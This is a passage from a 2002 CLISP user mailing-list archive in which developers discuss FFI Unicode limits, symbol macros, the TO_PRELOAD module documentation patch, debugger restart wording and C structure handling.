It exports 47 symbols to the package EXT. # is a symbol macro handler. Using CLISP-2.28 (MS-Windos-2000 with MS-VC6). Thanks, J=F6rg H=F6hle. From dan.stanger@ieee.org Wed Apr 10 09:06:15 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vKbv-0005v1-00 for ; Wed, 10 Apr 2002 09:06:15 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g3AG6A126785 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 10:06:10 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200204101606.g3AG6A126785@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] ms windows module gdi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 09:07:01 2002 X-Original-Date: Wed, 10 Apr 2002 10:06:10 -0600 (MDT) I have put the source code for this module on my web site as: http://www.diac.com/~dxs/gdi.tar.gz. It does compile, but is almost completely untested. The code is generated by a included awk script. I am making it available for any comments about the structure of the generated code. I am not ready to start hand editing the code as I think there is more awk code changes to be made. The next step is to generate structure processing code, and integrate it. Then finally to write the lisp interface to the c module. Dan Stanger From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 10 09:09:50 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vKfM-0006Ki-00 for ; Wed, 10 Apr 2002 09:09:48 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 18:08:22 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Apr 2002 18:09:40 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CLISP FFI and (lack of) unicode support (was: dynamic loading of shared libraries/objects) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 09:10:26 2002 X-Original-Date: Wed, 10 Apr 2002 18:09:39 +0200 Hi, Reini Urban, > > # don't -DUNICODE sysdll.c via CFLAGS or you'll get > LoadLibraryW(), not -A > > but then you cannot load foreign libraries on win32 (namely > japanese, chinese, Thanks for raising this topic. CLISP's FFI doesn't correctly support UNICODE anyway. That's another one on my growing FFI-limits list. > (setf custom:*foreign-encoding* (ext:make-encoding :charset 'charset:utf-8)) *** - SYSTEM::SET-FOREIGN-ENCODING: # is not a 1:1 encoding The problem is C-STRING etc. It's currently limited to "1:1" translations. Changing that is not easy at all. Otherwise it would have been done since day one. I *highly* welcome proposals for how an API which works with unicode would look like. I've been thinking about things like (with-c-string (varname "foobar" &optional charset-or?-encoding) &body ...) -> FOREIGN-VARIABLE of type (C-ARRAY FFI:uint8-or-character-or-what? (FFI::FOREIGN-SIZE *) -> length in 8bit bytes or something closer to make-array with &key :length :initial-contents ... That would do to stack allocation of foreign strings what ext:convert-string-to-bytes does in Lisp. It doesn't tell what DEF-x-CALL-OUT for such a function would look like. Is using vectors of (unsigned-byte 8) resp. (c-array uint8 n) all that's needed by people? It doesn't look nice a priori. And it sounds strange (at least to me) that an implementation which supports dozens of encodings uses uint8 for the FFI. Another case of worse is better? 1:2 encoding (UTF-16) could be easy to add as well, but variable size (UTF-8) is no-no so far. Think about all the functions where you pass in a char* buffer and the buffer size... (my old praise of the IDL is_size declaration, cf my FFI design article and others). > > I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS > The current version is quite unstable IMHO, considering the > unicode and mule [...] That's XEmacs stability, not necessarily affecting supporting libraries. E.g. unstability of CLISP doesn't imply ffcall would be unstable. In any case, if sysdll-1.7.c suits the need, why not just take this version? At some time in future, somebody may look if they changed it. E.g., nobody so far felt a need for upgrading modules/regexp/regex.c in three years. Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed Apr 10 09:25:00 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vKu4-0000VC-00 for ; Wed, 10 Apr 2002 09:25:00 -0700 Received: from gnu.org ([151.203.48.85]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410162453.MMOE5495.out020.verizon.net@gnu.org>; Wed, 10 Apr 2002 11:24:53 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LET + custom:*x-encoding* (symbol macro) question References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 Message-ID: Lines: 44 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 09:25:05 2002 X-Original-Date: 10 Apr 2002 12:25:15 -0400 > * In message > * On the subject of "[clisp-list] LET + custom:*x-encoding* (symbol macro) question" > * Sent on Wed, 10 Apr 2002 17:43:41 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > is the following behaviour to be considered a bug? this is correct, as per the spec. lexical bindings shadow symbol-macro definitions. > (defun test-sml () > (describe (sys::foreign-encoding)) > (let ((custom:*foreign-encoding* (ext:make-encoding :charset 'charset:mac-turkish))) > (describe custom:*foreign-encoding*) > (describe (sys::foreign-encoding))) > (describe (sys::foreign-encoding))) > (test-sml) > # is an encoding. > # is an encoding. > # is an encoding. <-!? > # is an encoding. > > What is at question here is how transparent are symbol macros? > > The normal way to temporarily bind specials is by LET. Should that > still be the case with symbol-macros, e.g. should the user know that > some variable is not a normal special, but rather a symbol macro? > Why have symbol macros if they can't remain well hidden? > > Should the compiler recognize symbol macros, and generate > code equivalent to macros3.lisp:LETF for them, or not? I don't think so. -encodings* are symbol-macros so that some error-checking is done at SETQ time, not at use time. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The only thing worse than X Windows: (X Windows) - X From samuel.steingold@verizon.net Wed Apr 10 09:28:10 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vKx6-0000qn-00 for ; Wed, 10 Apr 2002 09:28:08 -0700 Received: from gnu.org ([151.203.48.85]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410162759.MMZM5495.out020.verizon.net@gnu.org>; Wed, 10 Apr 2002 11:27:59 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) References: <20020410170922.A268@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020410170922.A268@localhost.localdomain> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 09:29:02 2002 X-Original-Date: 10 Apr 2002 12:28:19 -0400 > * In message <20020410170922.A268@localhost.localdomain> > * On the subject of "[clisp-list] to_preload (re the package bug)" > * Sent on Wed, 10 Apr 2002 17:09:22 +0200 > * Honorable Peter Wood writes: > > I discovered this in impnotes (Extensions 2.2 External Modules): > > TO_PRELOAD (optional) > The space seperated list of lisp files to load into an intermediate > lispinit.mem before building the lsipinit.mem belonging to a new > linking set. This var is usually used for defining lisp packages > which must be present when the new .c files are initialized. > > May I suggest, Sam, that you explicitly state that TO_PRELOAD must be > set if the module contains a def-call-in (no longer optional), and > link to the example with def-call-in. (sort2), so that (especially > new) users who don't read clisp-list will be able to build the example. > > I have tested using TO_PRELOAD and it works. good! could you please send a patch to doc/impext.xml? (sort2 does not mention TO_PRELOAD right now!) PS do I understand correctly that you tried my patch for [ 539701 ] early initialization error -> crash and it works for you? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If your VCR is still blinking 12:00, you don't want Linux. From peter.wood@worldonline.dk Wed Apr 10 10:44:45 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vM9D-0004io-00 for ; Wed, 10 Apr 2002 10:44:43 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 9D864B530 for ; Wed, 10 Apr 2002 19:44:39 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3AHVGc00449 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 19:31:16 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) Message-ID: <20020410193116.A430@localhost.localdomain> References: <20020410170922.A268@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 10, 2002 at 12:28:19PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 10:45:08 2002 X-Original-Date: Wed, 10 Apr 2002 19:31:16 +0200 Hi, On Wed, Apr 10, 2002 at 12:28:19PM -0400, Sam Steingold wrote: > > * In message <20020410170922.A268@localhost.localdomain> > > * On the subject of "[clisp-list] to_preload (re the package bug)" > > * Sent on Wed, 10 Apr 2002 17:09:22 +0200 > > * Honorable Peter Wood writes: > > > > I discovered this in impnotes (Extensions 2.2 External Modules): > > > > TO_PRELOAD (optional) > > The space seperated list of lisp files to load into an intermediate > > lispinit.mem before building the lsipinit.mem belonging to a new > > linking set. This var is usually used for defining lisp packages > > which must be present when the new .c files are initialized. > > > > May I suggest, Sam, that you explicitly state that TO_PRELOAD must be > > set if the module contains a def-call-in (no longer optional), and > > link to the example with def-call-in. (sort2), so that (especially > > new) users who don't read clisp-list will be able to build the example. > > > > I have tested using TO_PRELOAD and it works. > > good! > could you please send a patch to doc/impext.xml? > (sort2 does not mention TO_PRELOAD right now!) I don't have any of the docbook gunk on my system, so I wouldn't be able to test the patch. I am not going to spend 2 hours finding, downloading, compiling and installing, then 3 hours learning, a system which I really dislike just to write 15 lines. > PS do I understand correctly that you tried my patch for [ 539701 ] > early initialization error -> crash and it works for you? I got the results which I reported on the list: http://www.geocrawler.com/lists/3/SourceForge/1124/25/8315188/ Your analysis made sense to me. I did not do further testing than that, ymmv. Regards, Peter From samuel.steingold@verizon.net Wed Apr 10 12:01:37 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vNLc-00028e-00 for ; Wed, 10 Apr 2002 12:01:37 -0700 Received: from gnu.org ([151.203.48.85]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410190125.GCEA11002.out008.verizon.net@gnu.org>; Wed, 10 Apr 2002 14:01:25 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) References: <20020410170922.A268@localhost.localdomain> <20020410193116.A430@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020410193116.A430@localhost.localdomain> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 15:23:48 2002 X-Original-Date: 10 Apr 2002 15:01:43 -0400 > * In message <20020410193116.A430@localhost.localdomain> > * On the subject of "Re: [clisp-list] to_preload (re the package bug)" > * Sent on Wed, 10 Apr 2002 19:31:16 +0200 > * Honorable Peter Wood writes: > > > > I discovered this in impnotes (Extensions 2.2 External Modules): > > > > > > TO_PRELOAD (optional) > > > The space seperated list of lisp files to load into an intermediate > > > lispinit.mem before building the lsipinit.mem belonging to a new > > > linking set. This var is usually used for defining lisp packages > > > which must be present when the new .c files are initialized. > > > > > > May I suggest, Sam, that you explicitly state that TO_PRELOAD must be > > > set if the module contains a def-call-in (no longer optional), and > > > link to the example with def-call-in. (sort2), so that (especially > > > new) users who don't read clisp-list will be able to build the example. > > > > > > I have tested using TO_PRELOAD and it works. > > > > good! > > could you please send a patch to doc/impext.xml? > > (sort2 does not mention TO_PRELOAD right now!) > > I don't have any of the docbook gunk on my system, so I wouldn't be > able to test the patch. I am not going to spend 2 hours finding, > downloading, compiling and installing, then 3 hours learning, a system > which I really dislike just to write 15 lines. you can edit impext.xml with any text editor. don't worry about the markup - I will fix it for you. concentrate on the contents. you are the only one who can do this - describe what, specifically, should go into TO_PRELOAD in sort2. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Your mouse has moved - WinNT has to be restarted for this to take effect. From peter.wood@worldonline.dk Wed Apr 10 13:36:46 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vOpg-0005rq-00 for ; Wed, 10 Apr 2002 13:36:44 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 221EFB5AD for ; Wed, 10 Apr 2002 22:36:41 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3AKNRd00998 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 22:23:27 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) Message-ID: <20020410222327.A126@localhost.localdomain> References: <20020410170922.A268@localhost.localdomain> <20020410193116.A430@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 10, 2002 at 03:01:43PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 19:01:31 2002 X-Original-Date: Wed, 10 Apr 2002 22:23:27 +0200 --C7zPtVaVf+AK4Oqc Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, On Wed, Apr 10, 2002 at 03:01:43PM -0400, Sam Steingold wrote: > you can edit impext.xml with any text editor. > don't worry about the markup - I will fix it for you. > concentrate on the contents. > > you are the only one who can do this - describe what, specifically, > should go into TO_PRELOAD in sort2. It's just the name of a lisp file which does a defpackage for the package which you want the module to be in. Here's the patch. $patch -p0 impext.xml sort2.patch Regards, Peter --C7zPtVaVf+AK4Oqc Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="sort2.patch" 1857a1858,1863 > > This variable is obligatory when the > new module contains a 'def-call-in' form, for obscure reasons, > internal to Clisp. This requirement may be removed in the future. > For an example of usage, see example 'call-in' below. > 2843a2850,2851 > Create a file "package.lisp" containing the form (defpackage > "FFI-TEST" (:use "LISP" "FFI")) 2844a2853 > Add a line: TO_PRELOAD='package.lisp' in link.sh --C7zPtVaVf+AK4Oqc-- From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 11 03:56:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vcFa-0003dU-00 for ; Thu, 11 Apr 2002 03:56:22 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 11 Apr 2002 12:54:49 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2XA4CK2L>; Thu, 11 Apr 2002 12:56:06 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] uninformative debugger w.r.t. restarts (inconsistency) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 03:57:37 2002 X-Original-Date: Thu, 11 Apr 2002 10:45:08 +0200 Hi, I found the help of the debugger w.r.t. restarts to be misleading: 2. Break [8]> (clhs 'car) ** - Continuable Error SYSTEM::CLISP-DATA-FILE: file = #P"H:\\sspace\\src\\clisp-2.28\\data\\clhs.txt" does not exist - adjust = *LIB-DIRECTORY* If you continue (by typing 'continue'): You may input a new value. The following restarts are available, too: R1 =3D You may input a new value. The naive user now asks: "How to invoke that restart?" 3. Break [9]> (apropos "r1") SYSTEM::MAKE-VECTOR1&PUSH =20 SYSTEM::MEMBER1 function Furthermore, 3. Break [9]> (invoke-restart) ** - Continuable Error EVAL: too few arguments given to INVOKE-RESTART: (INVOKE-RESTART) If you continue (by typing 'continue'): You may input a new value. ^^^^^^^^^^^^^^^ The following restarts are available, too: R1 =3D You may input a new value. It is not clear at all from the wording of these messages that "'continue'): You may input a new value" is still about the prior *lib-directory* and not about the new error that the user faces. This is quite misleading. 4. Break [10]> continue New *LIB-DIRECTORY*:=20 Surprise! Here I expected I could "input a new value" for invoke-restart, the last error. I believe there's some need to revisit what text goes at what time to which of *debug-io* and *error-output*. I wish it could be more = clear. For orientation, here's what Oaklisp shows: [oaklisp bytecode emulator. version 1.00. jan 1998.................] [(c) by barak pearlmutter, kevin lang and alex stuebinger, 1987-98.] > a Error: Variable A not found in #. Oaklisp evaluation loop. Active handlers: 0: Return to top level. 1: Install A in #. 2: Return to debugger level 1. >> (with-open-file (inf "foo" in) (read inf)) Error: Unable to open "foo" for READ access. Oaklisp evaluation loop. Active handlers: 0: Return to top level. 1: Install A in #. 2: Return to debugger level 1. 3: Supply a file to READ instead (none to retry "foo"). 4: Return to debugger level 2. >>> (ret 3 "abc") Invoking handler "Supply a file to READ instead (none to retry "foo")." Error: Unable to open "abc" for READ access. Oaklisp evaluation loop. Active handlers: 0: Return to top level. 1: Install A in #. 2: Return to debugger level 1. 3: Supply a file to READ instead (none to retry "abc"). 4: Return to debugger level 2. >>>=20 No confusion, not misleading, IMHO. Oaklisp's error system is very close to Common Lisp's, BTW = (handler-bind et al). Regards, J=F6rg H=F6hle. From peter.wood@worldonline.dk Thu Apr 11 07:02:45 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vf9t-0006Bd-00 for ; Thu, 11 Apr 2002 07:02:41 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id B1A3FB6F7 for ; Thu, 11 Apr 2002 16:02:36 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3BDlPE00265 for clisp-list@lists.sourceforge.net; Thu, 11 Apr 2002 15:47:25 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] two, now three interfaces to dynamic loading of libraries/objects Message-ID: <20020411154725.A224@localhost.localdomain> References: <3CB2DB82.A64FA381@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CB2DB82.A64FA381@x-ray.at>; from rurban@x-ray.at on Tue, Apr 09, 2002 at 12:16:02PM +0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 07:03:19 2002 X-Original-Date: Thu, 11 Apr 2002 15:47:25 +0200 Hi, On Tue, Apr 09, 2002 at 12:16:02PM +0000, Reini Urban wrote: > IMHO the main advantage of the xemacs code over libltdl is the more liberal > license :) Xemacs is under the GPL. libltdl is under the GNU library GPL. In fact, ltdl contains a 'special exception' which allows it to be distributed under the same license terms as your program if your program uses libtool. So, in FACT, libltdl license is much more liberal. I personally would not be using Clisp if it was not under the GPL. A LUTA CONTINUA! :-) Regards, Peter From samuel.steingold@verizon.net Thu Apr 11 07:17:03 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vfNl-0000bO-00 for ; Thu, 11 Apr 2002 07:17:01 -0700 Received: from gnu.org ([151.203.48.85]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020411141655.RCKR18349.out009.verizon.net@gnu.org>; Thu, 11 Apr 2002 09:16:55 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) References: <20020410170922.A268@localhost.localdomain> <20020410193116.A430@localhost.localdomain> <20020410222327.A126@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020410222327.A126@localhost.localdomain> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 07:23:10 2002 X-Original-Date: 11 Apr 2002 10:16:49 -0400 > * In message <20020410222327.A126@localhost.localdomain> > * On the subject of "Re: [clisp-list] to_preload (re the package bug)" > * Sent on Wed, 10 Apr 2002 22:23:27 +0200 > * Honorable Peter Wood writes: > > Here's the patch. the patch does not apply cleanly. could you please send a unified context diff? (put 'diff -uwb' into your ~/.cvsrc) thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! He who laughs last did not get the joke. From dan.stanger@ieee.org Thu Apr 11 07:33:35 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vfdk-0003Ow-00 for ; Thu, 11 Apr 2002 07:33:32 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16vfdf-0002rm-00 for clisp-list@lists.sourceforge.net; Thu, 11 Apr 2002 08:33:27 -0600 Message-ID: <3CB59EC7.307AD2B2@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] dealing with structures in modules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 07:39:58 2002 X-Original-Date: Thu, 11 Apr 2002 08:33:43 -0600 I have a function in a c module, which needs to return a structure. Is it possible to pass in the empty structure and set the elements of it? Or is it just as fast to return them as values, and use a multiple-value-call passing them to a constructor for the structure. Or should I can I call the constructor directly in my c code. The c code is being generated mostly, and I dont have too many structures, so I would prefer to do this in the most efficent way. I think that almost all of the structure elements are simple types such as ints and floats. Any insights would be appreciated. TIA Dan Stanger From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 11 09:33:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vhVm-00051W-00 for ; Thu, 11 Apr 2002 09:33:27 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 11 Apr 2002 18:31:58 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2XGBS0YB>; Thu, 11 Apr 2002 18:33:15 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dealing with structures in modules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 09:36:59 2002 X-Original-Date: Thu, 11 Apr 2002 17:01:54 +0200 Hi, Dan Stanger wrote: > I have a function in a c module, which needs to return a > structure. Is it possible to pass in the > empty structure and set the elements of it? This sounds like (:arguments (foo (ffi:c-ptr (c-struct ...)) :out :alloca)) If you want to fill in prior to the call, use :in-out. Are you sure you must return a struct, not a pointer to a struct? > Or is it just as fast to return them as values, I can't comment on performance. It very much depends on the exact (Lisp) code. > and use a multiple-value-call passing them to a constructor for the > structure. > Or should I can I call the constructor directly in my c code. The c > code is being generated > mostly, and I dont have too many structures, so I would prefer to do > this in the most efficent way. Generally, the more you can do (safely) in C wrappers, the faster. Likewise, the more you can rely on built-in primitives (~500 of them), the faster. For Lisp code in CLISP, there's always bytecode interpretation overhead. My opinion: if you must write wrappers and cannot interface directly, then go ahead and make the return values and arguments as Lisp-friendly as possible (while in C wrapper code). Regards, Jorg Hohle. From peter.wood@worldonline.dk Thu Apr 11 09:42:47 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vhen-0006hh-00 for ; Thu, 11 Apr 2002 09:42:46 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 28B5DB795 for ; Thu, 11 Apr 2002 18:42:41 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3BGTOj12598 for clisp-list@lists.sourceforge.net; Thu, 11 Apr 2002 18:29:24 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] to_preload (re the package bug) Message-ID: <20020411182923.A12566@localhost.localdomain> References: <20020410170922.A268@localhost.localdomain> <20020410193116.A430@localhost.localdomain> <20020410222327.A126@localhost.localdomain> Mime-Version: 